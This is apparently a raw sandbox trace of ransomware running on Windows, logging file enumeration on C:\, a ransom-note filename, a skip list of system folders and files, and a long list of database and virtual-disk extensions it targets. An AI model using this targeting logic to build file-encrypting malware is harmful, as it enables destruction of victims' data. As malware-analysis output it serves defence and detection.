	[0035.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x34) returned 0x5ca010
	[0035.596] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7870 | out: ListHead=0x5b76b0, ListEntry=0x5b7870) returned 0x5b7850
	[0035.596] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1
	[0035.596] lstrcmpiW (lpString1="hiberfil.sys", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.596] lstrcmpiW (lpString1="hiberfil.sys", lpString2="Apollon865.txt.exe") returned 1
	[0035.596] lstrcmpiW (lpString1="hiberfil.sys", lpString2=".") returned 1
	[0035.596] lstrcmpiW (lpString1="hiberfil.sys", lpString2="..") returned 1
	[0035.596] lstrcmpiW (lpString1="hiberfil.sys", lpString2="windows") returned -1
	[0035.596] lstrcmpiW (lpString1="hiberfil.sys", lpString2="bootmgr") returned 1
	[0035.596] lstrcmpiW (lpString1="hiberfil.sys", lpString2="temp") returned -1
	[0035.596] lstrcmpiW (lpString1="hiberfil.sys", lpString2="pagefile.sys") returned -1
	[0035.596] lstrcmpiW (lpString1="hiberfil.sys", lpString2="boot") returned 1
	[0035.596] lstrcmpiW (lpString1="hiberfil.sys", lpString2="ids.txt") returned -1
	[0035.596] lstrcmpiW (lpString1="hiberfil.sys", lpString2="ntuser.dat") returned -1
	[0035.596] lstrcmpiW (lpString1="hiberfil.sys", lpString2="perflogs") returned -1
	[0035.596] lstrcmpiW (lpString1="hiberfil.sys", lpString2="MSBuild") returned -1
	[0035.596] lstrlenW (lpString="hiberfil.sys") returned 12
	[0035.596] lstrlenW (lpString="C:\\Documents and Settings") returned 25
	[0035.596] lstrcpyW (in: lpString1=0x2d3e556, lpString2="hiberfil.sys" | out: lpString1="hiberfil.sys") returned="hiberfil.sys"
	[0035.596] lstrlenW (lpString="hiberfil.sys") returned 12
	[0035.596] lstrlenW (lpString="Apollon865") returned 10
	[0035.596] lstrcmpiW (lpString1="berfil.sys", lpString2="Apollon865") returned 1
	[0035.596] lstrlenW (lpString=".dll") returned 4
	[0035.596] lstrcmpiW (lpString1="hiberfil.sys", lpString2=".dll") returned 1
	[0035.596] lstrlenW (lpString=".lnk") returned 4
	[0035.596] lstrcmpiW (lpString1="hiberfil.sys", lpString2=".lnk") returned 1
	[0035.596] lstrlenW (lpString=".ini") returned 4
	[0035.597] lstrcmpiW (lpString1="hiberfil.sys", lpString2=".ini") returned 1
	[0035.597] lstrlenW (lpString=".sys") returned 4
	[0035.597] lstrcmpiW (lpString1="hiberfil.sys", lpString2=".sys") returned 1
	[0035.597] lstrlenW (lpString="hiberfil.sys") returned 12
	[0035.597] lstrlenW (lpString="bak") returned 3
	[0035.597] lstrcmpiW (lpString1="sys", lpString2="bak") returned 1
	[0035.597] lstrlenW (lpString="ba_") returned 3
	[0035.597] lstrcmpiW (lpString1="sys", lpString2="ba_") returned 1
	[0035.597] lstrlenW (lpString="dbb") returned 3
	[0035.597] lstrcmpiW (lpString1="sys", lpString2="dbb") returned 1
	[0035.597] lstrlenW (lpString="vmdk") returned 4
	[0035.597] lstrcmpiW (lpString1=".sys", lpString2="vmdk") returned -1
	[0035.597] lstrlenW (lpString="rar") returned 3
	[0035.597] lstrcmpiW (lpString1="sys", lpString2="rar") returned 1
	[0035.597] lstrlenW (lpString="zip") returned 3
	[0035.597] lstrcmpiW (lpString1="sys", lpString2="zip") returned -1
	[0035.597] lstrlenW (lpString="tgz") returned 3
	[0035.597] lstrcmpiW (lpString1="sys", lpString2="tgz") returned -1
	[0035.597] lstrlenW (lpString="vbox") returned 4
	[0035.597] lstrcmpiW (lpString1=".sys", lpString2="vbox") returned -1
	[0035.597] lstrlenW (lpString="vdi") returned 3
	[0035.597] lstrcmpiW (lpString1="sys", lpString2="vdi") returned -1
	[0035.597] lstrlenW (lpString="vhd") returned 3
	[0035.597] lstrcmpiW (lpString1="sys", lpString2="vhd") returned -1
	[0035.597] lstrlenW (lpString="vhdx") returned 4
	[0035.597] lstrcmpiW (lpString1=".sys", lpString2="vhdx") returned -1
	[0035.597] lstrlenW (lpString="avhd") returned 4
	[0035.597] lstrcmpiW (lpString1=".sys", lpString2="avhd") returned -1
	[0035.597] lstrlenW (lpString="db") returned 2
	[0035.597] lstrcmpiW (lpString1="ys", lpString2="db") returned 1
	[0035.597] lstrlenW (lpString="db2") returned 3
	[0035.597] lstrcmpiW (lpString1="sys", lpString2="db2") returned 1
	[0035.597] lstrlenW (lpString="db3") returned 3
	[0035.597] lstrcmpiW (lpString1="sys", lpString2="db3") returned 1
	[0035.597] lstrlenW (lpString="dbf") returned 3
	[0035.597] lstrcmpiW (lpString1="sys", lpString2="dbf") returned 1
	[0035.597] lstrlenW (lpString="mdf") returned 3
	[0035.597] lstrcmpiW (lpString1="sys", lpString2="mdf") returned 1
	[0035.598] lstrlenW (lpString="mdb") returned 3
	[0035.598] lstrcmpiW (lpString1="sys", lpString2="mdb") returned 1
	[0035.598] lstrlenW (lpString="sql") returned 3
	[0035.598] lstrcmpiW (lpString1="sys", lpString2="sql") returned 1
	[0035.598] lstrlenW (lpString="sqlite") returned 6
	[0035.598] lstrcmpiW (lpString1="il.sys", lpString2="sqlite") returned -1
	[0035.598] lstrlenW (lpString="sqlite3") returned 7
	[0035.598] lstrcmpiW (lpString1="fil.sys", lpString2="sqlite3") returned -1
	[0035.598] lstrlenW (lpString="sqlitedb") returned 8
	[0035.598] lstrcmpiW (lpString1="rfil.sys", lpString2="sqlitedb") returned -1
	[0035.598] lstrlenW (lpString="xml") returned 3
	[0035.598] lstrcmpiW (lpString1="sys", lpString2="xml") returned -1
	[0035.598] lstrlenW (lpString="$er") returned 3
	[0035.598] lstrcmpiW (lpString1="sys", lpString2="$er") returned 1
	[0035.598] lstrlenW (lpString="4dd") returned 3
	[0035.598] lstrcmpiW (lpString1="sys", lpString2="4dd") returned 1
	[0035.598] lstrlenW (lpString="4dl") returned 3
	[0035.598] lstrcmpiW (lpString1="sys", lpString2="4dl") returned 1
	[0035.598] lstrlenW (lpString="^^^") returned 3
	[0035.598] lstrcmpiW (lpString1="sys", lpString2="^^^") returned 1
	[0035.598] lstrlenW (lpString="abs") returned 3
	[0035.598] lstrcmpiW (lpString1="sys", lpString2="abs") returned 1
	[0035.598] lstrlenW (lpString="abx") returned 3
	[0035.598] lstrcmpiW (lpString1="sys", lpString2="abx") returned 1
	[0035.598] lstrlenW (lpString="accdb") returned 5
	[0035.598] lstrcmpiW (lpString1="l.sys", lpString2="accdb") returned 1
	[0035.598] lstrlenW (lpString="accdc") returned 5
	[0035.598] lstrcmpiW (lpString1="l.sys", lpString2="accdc") returned 1
	[0035.598] lstrlenW (lpString="accde") returned 5
	[0035.598] lstrcmpiW (lpString1="l.sys", lpString2="accde") returned 1
	[0035.598] lstrlenW (lpString="accdr") returned 5
	[0035.598] lstrcmpiW (lpString1="l.sys", lpString2="accdr") returned 1
	[0035.598] lstrlenW (lpString="accdt") returned 5
	[0035.598] lstrcmpiW (lpString1="l.sys", lpString2="accdt") returned 1
	[0035.598] lstrlenW (lpString="accdw") returned 5
	[0035.598] lstrcmpiW (lpString1="l.sys", lpString2="accdw") returned 1
	[0035.598] lstrlenW (lpString="accft") returned 5
	[0035.598] lstrcmpiW (lpString1="l.sys", lpString2="accft") returned 1
	[0035.598] lstrlenW (lpString="adb") returned 3
	[0035.599] lstrcmpiW (lpString1="sys", lpString2="adb") returned 1
	[0035.599] lstrlenW (lpString="adb") returned 3
	[0035.599] lstrcmpiW (lpString1="sys", lpString2="adb") returned 1
	[0035.599] lstrlenW (lpString="ade") returned 3
	[0035.599] lstrcmpiW (lpString1="sys", lpString2="ade") returned 1
	[0035.599] lstrlenW (lpString="adf") returned 3
	[0035.599] lstrcmpiW (lpString1="sys", lpString2="adf") returned 1
	[0035.599] lstrlenW (lpString="adn") returned 3
	[0035.599] lstrcmpiW (lpString1="sys", lpString2="adn") returned 1
	[0035.599] lstrlenW (lpString="adp") returned 3
	[0035.599] lstrcmpiW (lpString1="sys", lpString2="adp") returned 1
	[0035.599] lstrlenW (lpString="alf") returned 3
	[0035.599] lstrcmpiW (lpString1="sys", lpString2="alf") returned 1
	[0035.599] lstrlenW (lpString="ask") returned 3
	[0035.599] lstrcmpiW (lpString1="sys", lpString2="ask") returned 1
	[0035.599] lstrlenW (lpString="btr") returned 3
	[0035.599] lstrcmpiW (lpString1="sys", lpString2="btr") returned 1
	[0035.599] lstrlenW (lpString="cat") returned 3
	[0035.599] lstrcmpiW (lpString1="sys", lpString2="cat") returned 1
	[0035.599] lstrlenW (lpString="cdb") returned 3
	[0035.599] lstrcmpiW (lpString1="sys", lpString2="cdb") returned 1
	[0035.599] lstrlenW (lpString="ckp") returned 3
	[0035.599] lstrcmpiW (lpString1="sys", lpString2="ckp") returned 1
	[0035.599] lstrlenW (lpString="cma") returned 3
	[0035.599] lstrcmpiW (lpString1="sys", lpString2="cma") returned 1
	[0035.599] lstrlenW (lpString="cpd") returned 3
	[0035.599] lstrcmpiW (lpString1="sys", lpString2="cpd") returned 1
	[0035.599] lstrlenW (lpString="dacpac") returned 6
	[0035.599] lstrcmpiW (lpString1="il.sys", lpString2="dacpac") returned 1
	[0035.599] lstrlenW (lpString="dad") returned 3
	[0035.599] lstrcmpiW (lpString1="sys", lpString2="dad") returned 1
	[0035.599] lstrlenW (lpString="dadiagrams") returned 10
	[0035.599] lstrcmpiW (lpString1="berfil.sys", lpString2="dadiagrams") returned -1
	[0035.599] lstrlenW (lpString="daschema") returned 8
	[0035.599] lstrcmpiW (lpString1="rfil.sys", lpString2="daschema") returned 1
	[0035.599] lstrlenW (lpString="db-journal") returned 10
	[0035.599] lstrcmpiW (lpString1="berfil.sys", lpString2="db-journal") returned -1
	[0035.599] lstrlenW (lpString="db-shm") returned 6
	[0035.599] lstrcmpiW (lpString1="il.sys", lpString2="db-shm") returned 1
	[0035.599] lstrlenW (lpString="db-wal") returned 6
	[0035.600] lstrcmpiW (lpString1="il.sys", lpString2="db-wal") returned 1
	[0035.600] lstrlenW (lpString="dbc") returned 3
	[0035.600] lstrcmpiW (lpString1="sys", lpString2="dbc") returned 1
	[0035.600] lstrlenW (lpString="dbs") returned 3
	[0035.600] lstrcmpiW (lpString1="sys", lpString2="dbs") returned 1
	[0035.600] lstrlenW (lpString="dbt") returned 3
	[0035.600] lstrcmpiW (lpString1="sys", lpString2="dbt") returned 1
	[0035.600] lstrlenW (lpString="dbv") returned 3
	[0035.600] lstrcmpiW (lpString1="sys", lpString2="dbv") returned 1
	[0035.600] lstrlenW (lpString="dbx") returned 3
	[0035.600] lstrcmpiW (lpString1="sys", lpString2="dbx") returned 1
	[0035.600] lstrlenW (lpString="dcb") returned 3
	[0035.600] lstrcmpiW (lpString1="sys", lpString2="dcb") returned 1
	[0035.600] lstrlenW (lpString="dct") returned 3
	[0035.600] lstrcmpiW (lpString1="sys", lpString2="dct") returned 1
	[0035.600] lstrlenW (lpString="dcx") returned 3
	[0035.600] lstrcmpiW (lpString1="sys", lpString2="dcx") returned 1
	[0035.600] lstrlenW (lpString="ddl") returned 3
	[0035.600] lstrcmpiW (lpString1="sys", lpString2="ddl") returned 1
	[0035.600] lstrlenW (lpString="dlis") returned 4
	[0035.600] lstrcmpiW (lpString1=".sys", lpString2="dlis") returned -1
	[0035.600] lstrlenW (lpString="dp1") returned 3
	[0035.600] lstrcmpiW (lpString1="sys", lpString2="dp1") returned 1
	[0035.600] lstrlenW (lpString="dqy") returned 3
	[0035.600] lstrcmpiW (lpString1="sys", lpString2="dqy") returned 1
	[0035.600] lstrlenW (lpString="dsk") returned 3
	[0035.600] lstrcmpiW (lpString1="sys", lpString2="dsk") returned 1
	[0035.600] lstrlenW (lpString="dsn") returned 3
	[0035.600] lstrcmpiW (lpString1="sys", lpString2="dsn") returned 1
	[0035.600] lstrlenW (lpString="dtsx") returned 4
	[0035.600] lstrcmpiW (lpString1=".sys", lpString2="dtsx") returned -1
	[0035.600] lstrlenW (lpString="dxl") returned 3
	[0035.600] lstrcmpiW (lpString1="sys", lpString2="dxl") returned 1
	[0035.600] lstrlenW (lpString="eco") returned 3
	[0035.600] lstrcmpiW (lpString1="sys", lpString2="eco") returned 1
	[0035.600] lstrlenW (lpString="ecx") returned 3
	[0035.600] lstrcmpiW (lpString1="sys", lpString2="ecx") returned 1
	[0035.600] lstrlenW (lpString="edb") returned 3
	[0035.600] lstrcmpiW (lpString1="sys", lpString2="edb") returned 1
	[0035.600] lstrlenW (lpString="epim") returned 4
	[0035.601] lstrcmpiW (lpString1=".sys", lpString2="epim") returned -1
	[0035.601] lstrlenW (lpString="fcd") returned 3
	[0035.601] lstrcmpiW (lpString1="sys", lpString2="fcd") returned 1
	[0035.601] lstrlenW (lpString="fdb") returned 3
	[0035.601] lstrcmpiW (lpString1="sys", lpString2="fdb") returned 1
	[0035.601] lstrlenW (lpString="fic") returned 3
	[0035.601] lstrcmpiW (lpString1="sys", lpString2="fic") returned 1
	[0035.601] lstrlenW (lpString="flexolibrary") returned 12
	[0035.601] lstrlenW (lpString="fm5") returned 3
	[0035.601] lstrcmpiW (lpString1="sys", lpString2="fm5") returned 1
	[0035.601] lstrlenW (lpString="fmp") returned 3
	[0035.601] lstrcmpiW (lpString1="sys", lpString2="fmp") returned 1
	[0035.601] lstrlenW (lpString="fmp12") returned 5
	[0035.601] lstrcmpiW (lpString1="l.sys", lpString2="fmp12") returned 1
	[0035.601] lstrlenW (lpString="fmpsl") returned 5
	[0035.601] lstrcmpiW (lpString1="l.sys", lpString2="fmpsl") returned 1
	[0035.601] lstrlenW (lpString="fol") returned 3
	[0035.601] lstrcmpiW (lpString1="sys", lpString2="fol") returned 1
	[0035.601] lstrlenW (lpString="fp3") returned 3
	[0035.601] lstrcmpiW (lpString1="sys", lpString2="fp3") returned 1
	[0035.601] lstrlenW (lpString="fp4") returned 3
	[0035.601] lstrcmpiW (lpString1="sys", lpString2="fp4") returned 1
	[0035.601] lstrlenW (lpString="fp5") returned 3
	[0035.601] lstrcmpiW (lpString1="sys", lpString2="fp5") returned 1
	[0035.601] lstrlenW (lpString="fp7") returned 3
	[0035.601] lstrcmpiW (lpString1="sys", lpString2="fp7") returned 1
	[0035.601] lstrlenW (lpString="fpt") returned 3
	[0035.601] lstrcmpiW (lpString1="sys", lpString2="fpt") returned 1
	[0035.601] lstrlenW (lpString="frm") returned 3
	[0035.601] lstrcmpiW (lpString1="sys", lpString2="frm") returned 1
	[0035.601] lstrlenW (lpString="gdb") returned 3
	[0035.601] lstrcmpiW (lpString1="sys", lpString2="gdb") returned 1
	[0035.601] lstrlenW (lpString="gdb") returned 3
	[0035.601] lstrcmpiW (lpString1="sys", lpString2="gdb") returned 1
	[0035.601] lstrlenW (lpString="grdb") returned 4
	[0035.601] lstrcmpiW (lpString1=".sys", lpString2="grdb") returned -1
	[0035.601] lstrlenW (lpString="gwi") returned 3
	[0035.601] lstrcmpiW (lpString1="sys", lpString2="gwi") returned 1
	[0035.602] lstrlenW (lpString="hdb") returned 3
	[0035.602] lstrcmpiW (lpString1="sys", lpString2="hdb") returned 1
	[0035.602] lstrlenW (lpString="his") returned 3
	[0035.602] lstrcmpiW (lpString1="sys", lpString2="his") returned 1
	[0035.602] lstrlenW (lpString="ib") returned 2
	[0035.602] lstrcmpiW (lpString1="ys", lpString2="ib") returned 1
	[0035.602] lstrlenW (lpString="idb") returned 3
	[0035.602] lstrcmpiW (lpString1="sys", lpString2="idb") returned 1
	[0035.602] lstrlenW (lpString="ihx") returned 3
	[0035.602] lstrcmpiW (lpString1="sys", lpString2="ihx") returned 1
	[0035.602] lstrlenW (lpString="itdb") returned 4
	[0035.602] lstrcmpiW (lpString1=".sys", lpString2="itdb") returned -1
	[0035.602] lstrlenW (lpString="itw") returned 3
	[0035.602] lstrcmpiW (lpString1="sys", lpString2="itw") returned 1
	[0035.602] lstrlenW (lpString="jet") returned 3
	[0035.602] lstrcmpiW (lpString1="sys", lpString2="jet") returned 1
	[0035.602] lstrlenW (lpString="jtx") returned 3
	[0035.602] lstrcmpiW (lpString1="sys", lpString2="jtx") returned 1
	[0035.602] lstrlenW (lpString="kdb") returned 3
	[0035.602] lstrcmpiW (lpString1="sys", lpString2="kdb") returned 1
	[0035.602] lstrlenW (lpString="kexi") returned 4
	[0035.602] lstrcmpiW (lpString1=".sys", lpString2="kexi") returned -1
	[0035.602] lstrlenW (lpString="kexic") returned 5
	[0035.602] lstrcmpiW (lpString1="l.sys", lpString2="kexic") returned 1
	[0035.602] lstrlenW (lpString="kexis") returned 5
	[0035.602] lstrcmpiW (lpString1="l.sys", lpString2="kexis") returned 1
	[0035.602] lstrlenW (lpString="lgc") returned 3
	[0035.602] lstrcmpiW (lpString1="sys", lpString2="lgc") returned 1
	[0035.602] lstrlenW (lpString="lwx") returned 3
	[0035.602] lstrcmpiW (lpString1="sys", lpString2="lwx") returned 1
	[0035.602] lstrlenW (lpString="maf") returned 3
	[0035.602] lstrcmpiW (lpString1="sys", lpString2="maf") returned 1
	[0035.602] lstrlenW (lpString="maq") returned 3
	[0035.602] lstrcmpiW (lpString1="sys", lpString2="maq") returned 1
	[0035.602] lstrlenW (lpString="mar") returned 3
	[0035.602] lstrcmpiW (lpString1="sys", lpString2="mar") returned 1
	[0035.602] lstrlenW (lpString="marshal") returned 7
	[0035.602] lstrcmpiW (lpString1="fil.sys", lpString2="marshal") returned -1
	[0035.602] lstrlenW (lpString="mas") returned 3
	[0035.603] lstrcmpiW (lpString1="sys", lpString2="mas") returned 1
	[0035.603] lstrlenW (lpString="mav") returned 3
	[0035.603] lstrcmpiW (lpString1="sys", lpString2="mav") returned 1
	[0035.603] lstrlenW (lpString="maw") returned 3
	[0035.603] lstrcmpiW (lpString1="sys", lpString2="maw") returned 1
	[0035.603] lstrlenW (lpString="mdbhtml") returned 7
	[0035.603] lstrcmpiW (lpString1="fil.sys", lpString2="mdbhtml") returned -1
	[0035.603] lstrlenW (lpString="mdn") returned 3
	[0035.603] lstrcmpiW (lpString1="sys", lpString2="mdn") returned 1
	[0035.603] lstrlenW (lpString="mdt") returned 3
	[0035.603] lstrcmpiW (lpString1="sys", lpString2="mdt") returned 1
	[0035.603] lstrlenW (lpString="mfd") returned 3
	[0035.603] lstrcmpiW (lpString1="sys", lpString2="mfd") returned 1
	[0035.603] lstrlenW (lpString="mpd") returned 3
	[0035.603] lstrcmpiW (lpString1="sys", lpString2="mpd") returned 1
	[0035.603] lstrlenW (lpString="mrg") returned 3
	[0035.603] lstrcmpiW (lpString1="sys", lpString2="mrg") returned 1
	[0035.603] lstrlenW (lpString="mud") returned 3
	[0035.603] lstrcmpiW (lpString1="sys", lpString2="mud") returned 1
	[0035.603] lstrlenW (lpString="mwb") returned 3
	[0035.603] lstrcmpiW (lpString1="sys", lpString2="mwb") returned 1
	[0035.603] lstrlenW (lpString="myd") returned 3
	[0035.603] lstrcmpiW (lpString1="sys", lpString2="myd") returned 1
	[0035.603] lstrlenW (lpString="ndf") returned 3
	[0035.603] lstrcmpiW (lpString1="sys", lpString2="ndf") returned 1
	[0035.603] lstrlenW (lpString="nnt") returned 3
	[0035.603] lstrcmpiW (lpString1="sys", lpString2="nnt") returned 1
	[0035.603] lstrlenW (lpString="nrmlib") returned 6
	[0035.603] lstrcmpiW (lpString1="il.sys", lpString2="nrmlib") returned -1
	[0035.603] lstrlenW (lpString="ns2") returned 3
	[0035.603] lstrcmpiW (lpString1="sys", lpString2="ns2") returned 1
	[0035.603] lstrlenW (lpString="ns3") returned 3
	[0035.603] lstrcmpiW (lpString1="sys", lpString2="ns3") returned 1
	[0035.603] lstrlenW (lpString="ns4") returned 3
	[0035.603] lstrcmpiW (lpString1="sys", lpString2="ns4") returned 1
	[0035.603] lstrlenW (lpString="nsf") returned 3
	[0035.603] lstrcmpiW (lpString1="sys", lpString2="nsf") returned 1
	[0035.603] lstrlenW (lpString="nv") returned 2
	[0035.603] lstrcmpiW (lpString1="ys", lpString2="nv") returned 1
	[0035.603] lstrlenW (lpString="nv2") returned 3
	[0035.604] lstrcmpiW (lpString1="sys", lpString2="nv2") returned 1
	[0035.604] lstrlenW (lpString="nwdb") returned 4
	[0035.604] lstrcmpiW (lpString1=".sys", lpString2="nwdb") returned -1
	[0035.604] lstrlenW (lpString="nyf") returned 3
	[0035.604] lstrcmpiW (lpString1="sys", lpString2="nyf") returned 1
	[0035.604] lstrlenW (lpString="odb") returned 3
	[0035.604] lstrcmpiW (lpString1="sys", lpString2="odb") returned 1
	[0035.604] lstrlenW (lpString="odb") returned 3
	[0035.604] lstrcmpiW (lpString1="sys", lpString2="odb") returned 1
	[0035.604] lstrlenW (lpString="oqy") returned 3
	[0035.604] lstrcmpiW (lpString1="sys", lpString2="oqy") returned 1
	[0035.604] lstrlenW (lpString="ora") returned 3
	[0035.604] lstrcmpiW (lpString1="sys", lpString2="ora") returned 1
	[0035.604] lstrlenW (lpString="orx") returned 3
	[0035.604] lstrcmpiW (lpString1="sys", lpString2="orx") returned 1
	[0035.604] lstrlenW (lpString="owc") returned 3
	[0035.604] lstrcmpiW (lpString1="sys", lpString2="owc") returned 1
	[0035.604] lstrlenW (lpString="p96") returned 3
	[0035.604] lstrcmpiW (lpString1="sys", lpString2="p96") returned 1
	[0035.604] lstrlenW (lpString="p97") returned 3
	[0035.604] lstrcmpiW (lpString1="sys", lpString2="p97") returned 1
	[0035.604] lstrlenW (lpString="pan") returned 3
	[0035.604] lstrcmpiW (lpString1="sys", lpString2="pan") returned 1
	[0035.604] lstrlenW (lpString="pdb") returned 3
	[0035.604] lstrcmpiW (lpString1="sys", lpString2="pdb") returned 1
	[0035.604] lstrlenW (lpString="pdm") returned 3
	[0035.604] lstrcmpiW (lpString1="sys", lpString2="pdm") returned 1
	[0035.604] lstrlenW (lpString="pnz") returned 3
	[0035.604] lstrcmpiW (lpString1="sys", lpString2="pnz") returned 1
	[0035.604] lstrlenW (lpString="qry") returned 3
	[0035.604] lstrcmpiW (lpString1="sys", lpString2="qry") returned 1
	[0035.604] lstrlenW (lpString="qvd") returned 3
	[0035.604] lstrcmpiW (lpString1="sys", lpString2="qvd") returned 1
	[0035.604] lstrlenW (lpString="rbf") returned 3
	[0035.604] lstrcmpiW (lpString1="sys", lpString2="rbf") returned 1
	[0035.604] lstrlenW (lpString="rctd") returned 4
	[0035.604] lstrcmpiW (lpString1=".sys", lpString2="rctd") returned -1
	[0035.604] lstrlenW (lpString="rod") returned 3
	[0035.604] lstrcmpiW (lpString1="sys", lpString2="rod") returned 1
	[0035.605] lstrlenW (lpString="rodx") returned 4
	[0035.605] lstrcmpiW (lpString1=".sys", lpString2="rodx") returned -1
	[0035.605] lstrlenW (lpString="rpd") returned 3
	[0035.605] lstrcmpiW (lpString1="sys", lpString2="rpd") returned 1
	[0035.605] lstrlenW (lpString="rsd") returned 3
	[0035.605] lstrcmpiW (lpString1="sys", lpString2="rsd") returned 1
	[0035.605] lstrlenW (lpString="sas7bdat") returned 8
	[0035.605] lstrcmpiW (lpString1="rfil.sys", lpString2="sas7bdat") returned -1
	[0035.605] lstrlenW (lpString="sbf") returned 3
	[0035.605] lstrcmpiW (lpString1="sys", lpString2="sbf") returned 1
	[0035.605] lstrlenW (lpString="scx") returned 3
	[0035.605] lstrcmpiW (lpString1="sys", lpString2="scx") returned 1
	[0035.605] lstrlenW (lpString="sdb") returned 3
	[0035.605] lstrcmpiW (lpString1="sys", lpString2="sdb") returned 1
	[0035.605] lstrlenW (lpString="sdc") returned 3
	[0035.605] lstrcmpiW (lpString1="sys", lpString2="sdc") returned 1
	[0035.605] lstrlenW (lpString="sdf") returned 3
	[0035.605] lstrcmpiW (lpString1="sys", lpString2="sdf") returned 1
	[0035.605] lstrlenW (lpString="sis") returned 3
	[0035.605] lstrcmpiW (lpString1="sys", lpString2="sis") returned 1
	[0035.605] lstrlenW (lpString="spq") returned 3
	[0035.605] lstrcmpiW (lpString1="sys", lpString2="spq") returned 1
	[0035.605] lstrlenW (lpString="te") returned 2
	[0035.605] lstrcmpiW (lpString1="ys", lpString2="te") returned 1
	[0035.605] lstrlenW (lpString="teacher") returned 7
	[0035.605] lstrcmpiW (lpString1="fil.sys", lpString2="teacher") returned -1
	[0035.605] lstrlenW (lpString="tmd") returned 3
	[0035.605] lstrcmpiW (lpString1="sys", lpString2="tmd") returned -1
	[0035.605] lstrlenW (lpString="tps") returned 3
	[0035.605] lstrcmpiW (lpString1="sys", lpString2="tps") returned -1
	[0035.605] lstrlenW (lpString="trc") returned 3
	[0035.605] lstrcmpiW (lpString1="sys", lpString2="trc") returned -1
	[0035.605] lstrlenW (lpString="trc") returned 3
	[0035.605] lstrcmpiW (lpString1="sys", lpString2="trc") returned -1
	[0035.605] lstrlenW (lpString="trm") returned 3
	[0035.605] lstrcmpiW (lpString1="sys", lpString2="trm") returned -1
	[0035.605] lstrlenW (lpString="udb") returned 3
	[0035.605] lstrcmpiW (lpString1="sys", lpString2="udb") returned -1
	[0035.606] lstrlenW (lpString="udl") returned 3
	[0035.606] lstrcmpiW (lpString1="sys", lpString2="udl") returned -1
	[0035.606] lstrlenW (lpString="usr") returned 3
	[0035.606] lstrcmpiW (lpString1="sys", lpString2="usr") returned -1
	[0035.606] lstrlenW (lpString="v12") returned 3
	[0035.606] lstrcmpiW (lpString1="sys", lpString2="v12") returned -1
	[0035.606] lstrlenW (lpString="vis") returned 3
	[0035.606] lstrcmpiW (lpString1="sys", lpString2="vis") returned -1
	[0035.606] lstrlenW (lpString="vpd") returned 3
	[0035.606] lstrcmpiW (lpString1="sys", lpString2="vpd") returned -1
	[0035.606] lstrlenW (lpString="vvv") returned 3
	[0035.606] lstrcmpiW (lpString1="sys", lpString2="vvv") returned -1
	[0035.606] lstrlenW (lpString="wdb") returned 3
	[0035.606] lstrcmpiW (lpString1="sys", lpString2="wdb") returned -1
	[0035.606] lstrlenW (lpString="wmdb") returned 4
	[0035.606] lstrcmpiW (lpString1=".sys", lpString2="wmdb") returned -1
	[0035.606] lstrlenW (lpString="wrk") returned 3
	[0035.606] lstrcmpiW (lpString1="sys", lpString2="wrk") returned -1
	[0035.606] lstrlenW (lpString="xdb") returned 3
	[0035.606] lstrcmpiW (lpString1="sys", lpString2="xdb") returned -1
	[0035.606] lstrlenW (lpString="xld") returned 3
	[0035.606] lstrcmpiW (lpString1="sys", lpString2="xld") returned -1
	[0035.606] lstrlenW (lpString="xmlff") returned 5
	[0035.606] lstrcmpiW (lpString1="l.sys", lpString2="xmlff") returned -1
	[0035.606] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d7b9130, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2d7b9130, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0035.606] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0035.606] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1
	[0035.606] lstrcmpiW (lpString1="MSOCache", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.606] lstrcmpiW (lpString1="MSOCache", lpString2="Apollon865.txt.exe") returned 1
	[0035.606] lstrcmpiW (lpString1="MSOCache", lpString2=".") returned 1
	[0035.606] lstrcmpiW (lpString1="MSOCache", lpString2="..") returned 1
	[0035.606] lstrcmpiW (lpString1="MSOCache", lpString2="windows") returned -1
	[0035.606] lstrcmpiW (lpString1="MSOCache", lpString2="bootmgr") returned 1
	[0035.606] lstrcmpiW (lpString1="MSOCache", lpString2="temp") returned -1
	[0035.606] lstrcmpiW (lpString1="MSOCache", lpString2="pagefile.sys") returned -1
	[0035.606] lstrcmpiW (lpString1="MSOCache", lpString2="boot") returned 1
	[0035.606] lstrcmpiW (lpString1="MSOCache", lpString2="ids.txt") returned 1
	[0035.606] lstrcmpiW (lpString1="MSOCache", lpString2="ntuser.dat") returned -1
	[0035.607] lstrcmpiW (lpString1="MSOCache", lpString2="perflogs") returned -1
	[0035.607] lstrcmpiW (lpString1="MSOCache", lpString2="MSBuild") returned 1
